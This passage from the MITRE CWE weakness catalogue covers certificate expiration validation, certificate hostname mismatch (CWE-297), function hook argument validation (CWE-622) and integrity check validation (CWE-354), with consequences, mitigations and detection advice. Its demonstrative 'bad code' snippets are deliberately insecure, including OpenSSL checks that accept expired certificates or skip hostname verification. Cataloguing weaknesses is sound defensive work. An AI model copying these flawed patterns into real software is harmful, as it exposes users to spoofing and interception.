Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A certificate expiration is not validated or is incorrectly validated, so trust may be assigned to certificates that have been abandoned due to age.
+ Extended Description
When the expiration of a certificate is not taken into account, no trust has necessarily been conveyed through it. Therefore, the validity of the certificate cannot be verified and all benefit of the certificate is lost.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.672Operation on a Resource after Expiration or Release
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.295Improper Certificate Validation
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.324Use of a Key Past its Expiration Date
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.370Missing Check for Certificate Revocation after Initial Check
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1014Identify Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationWhen the software uses certificate pinning, the developer might not properly validate all relevant components of the certificate before pinning the certificate. This can make it difficult or expensive to test after the pinning is complete.
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Other

Technical Impact: Other

The data read from the system vouched for by the expired certificate may be flawed due to malicious spoofing.
Authentication
Other

Technical Impact: Other

Trust afforded to the system in question - based on the expired certificate - may allow for spoofing attacks.
+ Likelihood Of Exploit
Low
+ Demonstrative Examples

Example 1

The following OpenSSL code ensures that there is a certificate and allows the use of expired certificates.

(bad code)
Example Language:
if (cert = SSL_get_peer(certificate(ssl)) {
foo=SSL_get_verify_result(ssl);
if ((X509_V_OK==foo) || (X509_V_ERR_CERT_HAS_EXPIRED==foo))

//do stuff

If the call to SSL_get_verify_result() returns X509_V_ERR_CERT_HAS_EXPIRED, this means that the certificate has expired. As time goes on, there is an increasing chance for attackers to compromise the certificate.

+ Potential Mitigations

Phase: Architecture and Design

Check for expired certificates and provide the user with adequate information about the nature of the problem and how to proceed.

Phase: Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the expiration.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.724OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.948SFP Secondary Cluster: Digital Certificate
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPFailure to validate certificate expiration
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 23: Improper Use of PKI, Especially SSL." Page 347. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Description, Name, Relationships
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2013-02-21CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Relationships, Type
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Modes_of_Introduction, Relationships
2018-03-27CWE Content TeamMITRE
updated Common_Consequences, Modes_of_Introduction, Potential_Mitigations, Time_of_Introduction
2019-09-19CWE Content TeamMITRE
updated Demonstrative_Examples
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-03-10Failure to Validate Certificate Expiration

CWE-297: Improper Validation of Certificate with Host Mismatch

Weakness ID: 297
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product communicates with a host that provides a certificate, but the product does not properly ensure that the certificate is actually associated with that host.
+ Extended Description

Even if a certificate is well-formed, signed, and follows the chain of trust, it may simply be a valid certificate for a different site than the site that the product is interacting with. If the certificate's host-specific data is not properly checked - such as the Common Name (CN) in the Subject or the Subject Alternative Name (SAN) extension of an X.509 certificate - it may be possible for a redirection or spoofing attack to allow a malicious host with a valid certificate to provide data, impersonating a trusted host. In order to ensure data integrity, the certificate must be valid and it must pertain to the site that is being accessed.

Even if the product attempts to check the hostname, it is still possible to incorrectly check the hostname. For example, attackers could create a certificate with a name that begins with a trusted name followed by a NUL byte, which could cause some string-based comparisons to only examine the portion that contains the trusted name.

This weakness can occur even when the product uses Certificate Pinning, if the product does not verify the hostname at the time a certificate is pinned.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.295Improper Certificate Validation
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.923Improper Restriction of Communication Channel to Intended Endpoints
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.370Missing Check for Certificate Revocation after Initial Check
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1014Identify Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationWhen the product uses certificate pinning, the developer might not properly validate all relevant components of the certificate before pinning the certificate. This can make it difficult or expensive to test after the pinning is complete.
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Mobile (Undetermined Prevalence)

Class: Not Technology-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

The data read from the system vouched for by the certificate may not be from the expected system.
Authentication
Other

Technical Impact: Other

Trust afforded to the system in question - based on the malicious certificate - may allow for spoofing or redirection attacks.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following OpenSSL code obtains a certificate and verifies it.

(bad code)
Example Language:
cert = SSL_get_peer_certificate(ssl);
if (cert && (SSL_get_verify_result(ssl)==X509_V_OK)) {

// do secret things
}

Even though the "verify" step returns X509_V_OK, this step does not include checking the Common Name against the name of the host. That is, there is no guarantee that the certificate is for the desired host. The SSL connection could have been established with a malicious host that provided a valid certificate.

+ Observed Examples
ReferenceDescription
Mobile banking application does not verify hostname, leading to financial loss.
Mobile application for printing documents does not verify hostname, allowing attackers to read sensitive documents.
Software for electronic checking does not verify hostname, leading to financial loss.
Cloud-support library written in Python uses incorrect regular expression when matching hostname.
Web browser does not correctly handle '\0' character (NUL) in Common Name, allowing spoofing of https sites.
Database program truncates the Common Name during hostname verification, allowing spoofing.
Incorrect handling of '\0' character (NUL) in hostname verification allows spoofing.
Mail server's incorrect handling of '\0' character (NUL) in hostname verification allows spoofing.
LDAP server's incorrect handling of '\0' character (NUL) in hostname verification allows spoofing.
Payment processing module does not verify hostname when connecting to PayPal using PHP fsockopen function.
Smartphone device does not verify hostname, allowing spoofing of mail services.
E-commerce module does not verify hostname when connecting to payment site.
Chat application does not validate hostname, leading to loss of privacy.
Application uses third-party library that does not validate hostname.
Cloud storage management application does not validate hostname.
Java library uses JSSE SSLSocket and SSLEngine classes, which do not verify the hostname.
SOAP platform does not verify the hostname.
PHP library for payments does not verify the hostname.
Merchant SDK for payments does not verify the hostname.
Web browser does not validate Common Name, allowing spoofing of https sites.
+ Potential Mitigations

Phase: Architecture and Design

Fully check the hostname of the certificate and provide the user with adequate information about the nature of the problem and how to proceed.

Phase: Implementation

If certificate pinning is being used, ensure that all relevant properties of the certificate are fully validated before the certificate is pinned, including the hostname.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

Set up an untrusted endpoint (e.g. a server) with which the product will connect. Create a test certificate that uses an invalid hostname but is signed by a trusted CA and provide this certificate from the untrusted endpoint. If the product performs any operations instead of disconnecting and reporting an error, then this indicates that the hostname is not being checked and the test certificate has been accepted.

Black Box

When Certificate Pinning is being used in a mobile application, consider using a tool such as Spinner [REF-955]. This methodology might be extensible to other technologies.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.948SFP Secondary Cluster: Digital Certificate
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1353OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPFailure to validate host-specific certificate data
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-245] Martin Georgiev, Subodh Iyengar, Suman Jana, Rishita Anubhai, Dan Boneh and Vitaly Shmatikov. "The Most Dangerous Code in the World: Validating SSL Certificates in Non-Browser Software". 2012-10-25. <http://www.cs.utexas.edu/~shmat/shmat_ccs12.pdf>.
[REF-243] Sascha Fahl, Marian Harbach, Thomas Muders, Matthew Smith and Lars Baumgärtner, Bernd Freisleben. "Why Eve and Mallory Love Android: An Analysis of Android SSL (In)Security". 2012-10-16. <http://www2.dcsec.uni-hannover.de/files/android/p50-fahl.pdf>.
[REF-249] Kenneth Ballard. "Secure programming with the OpenSSL API, Part 2: Secure handshake". 2005-05-03. <https://developer.ibm.com/tutorials/l-openssl/?mhsrc=ibmsearch_a&mhq=secure%20programming%20with%20the%20openssl%20API>. URL validated: 2023-04-07.
[REF-250] Eric Rescorla. "An Introduction to OpenSSL Programming (Part I)". 2001-10-05. <https://www.linuxjournal.com/article/4822>. URL validated: 2023-04-07.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 23: Improper Use of PKI, Especially SSL." Page 347. McGraw-Hill. 2010.
[REF-955] Chris McMahon Stone, Tom Chothia and Flavio D. Garcia. "Spinner: Semi-Automatic Detection of Pinning without Hostname Verification". <http://www.cs.bham.ac.uk/~garciaf/publications/spinner.pdf>. URL validated: 2018-01-16.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Description, Name, Relationships
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2010-12-13CWE Content TeamMITRE
updated Description, Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2013-02-21CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Observed_Examples, References, Relationships, Type
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Modes_of_Introduction, References, Relationships
2018-01-16CWE Content TeamMITRE
Integrated mitigations and detection methods for Certificate Pinning based on feedback from the CWE Researcher List in December 2017.
2018-03-27CWE Content TeamMITRE
updated Common_Consequences, Description, Detection_Factors, Modes_of_Introduction, Potential_Mitigations, References, Time_of_Introduction
2019-06-20CWE Content TeamMITRE
updated Relationships
2019-09-19CWE Content TeamMITRE
updated Demonstrative_Examples
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, References, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated References
2023-01-31CWE Content TeamMITRE
updated Applicable_Platforms, Description, Detection_Factors, Modes_of_Introduction
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2009-03-10Failure to Validate Host-specific Certificate Data
2013-02-21Improper Validation of Host-specific Certificate Data

CWE-622: Improper Validation of Function Hook Arguments

Weakness ID: 622
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product adds hooks to user-accessible API functions, but it does not properly validate the arguments. This could lead to resultant vulnerabilities.
+ Extended Description
Such hooks can be used in defensive software that runs with privileges, such as anti-virus or firewall, which hooks kernel calls. When the arguments are not validated, they could be used to bypass the protection scheme or attack the product itself.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
DoS in firewall using standard Microsoft functions
DoS in firewall using standard Microsoft functions
function does not verify that its argument is the proper type, leading to arbitrary memory write
invalid syscall arguments bypass code execution limits
DoS in IDS via NULL argument
+ Potential Mitigations

Phase: Architecture and Design

Ensure that all arguments are verified, as defined by the API you are protecting.

Phase: Architecture and Design

Drop privileges before invoking such functions, if possible.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.991SFP Secondary Cluster: Tainted Input to Environment
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1406Comprehensive Categorization: Improper Input Validation
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP27Tainted input to environment
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07
(CWE Draft 6, 2007-05-07)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Observed_Example, Other_Notes
2009-12-28CWE Content TeamMITRE
updated Other_Notes, Weakness_Ordinalities
2010-09-27CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Name, Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2012-10-30Unvalidated Function Hook Arguments

CWE-354: Improper Validation of Integrity Check Value

Weakness ID: 354
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not validate or incorrectly validates the integrity check values or "checksums" of a message. This may prevent it from detecting if the data has been modified or corrupted in transmission.
+ Extended Description
Improper validation of checksums before use results in an unnecessary risk that can easily be mitigated. The protocol specification describes the algorithm used for calculating the checksum. It is then a simple matter of implementing the calculation and verifying that the calculated checksum and the received checksum match. Improper verification of the calculated checksum and the received checksum can lead to far greater consequences.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.754Improper Check for Unusual or Exceptional Conditions
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.353Missing Support for Integrity Check
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1214Data Integrity Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.345Insufficient Verification of Data Authenticity
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1020Verify Message Integrity
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Other

Technical Impact: Modify Application Data; Other

Integrity checks usually use a secret key that helps authenticate the data origin. Skipping integrity checking generally opens up the possibility that new data from an invalid source can be injected.
Integrity
Other

Technical Impact: Other

Data that is parsed and used may be corrupted.
Non-Repudiation
Other

Technical Impact: Hide Activities; Other

Without a checksum check, it is impossible to determine if any changes have been made to the data after it was sent.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

The following example demonstrates the weakness.

(bad code)
Example Language:
sd = socket(AF_INET, SOCK_DGRAM, 0); serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {

memset(msg, 0x0, MAX_MSG);
clilen = sizeof(cli);
if (inet_ntoa(cli.sin_addr)==...) n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
}
(bad code)
Example Language: Java 
while(true) {
DatagramPacket packet = new DatagramPacket(data,data.length,IPAddress, port);
socket.send(sendPacket);
}
+ Potential Mitigations

Phase: Implementation

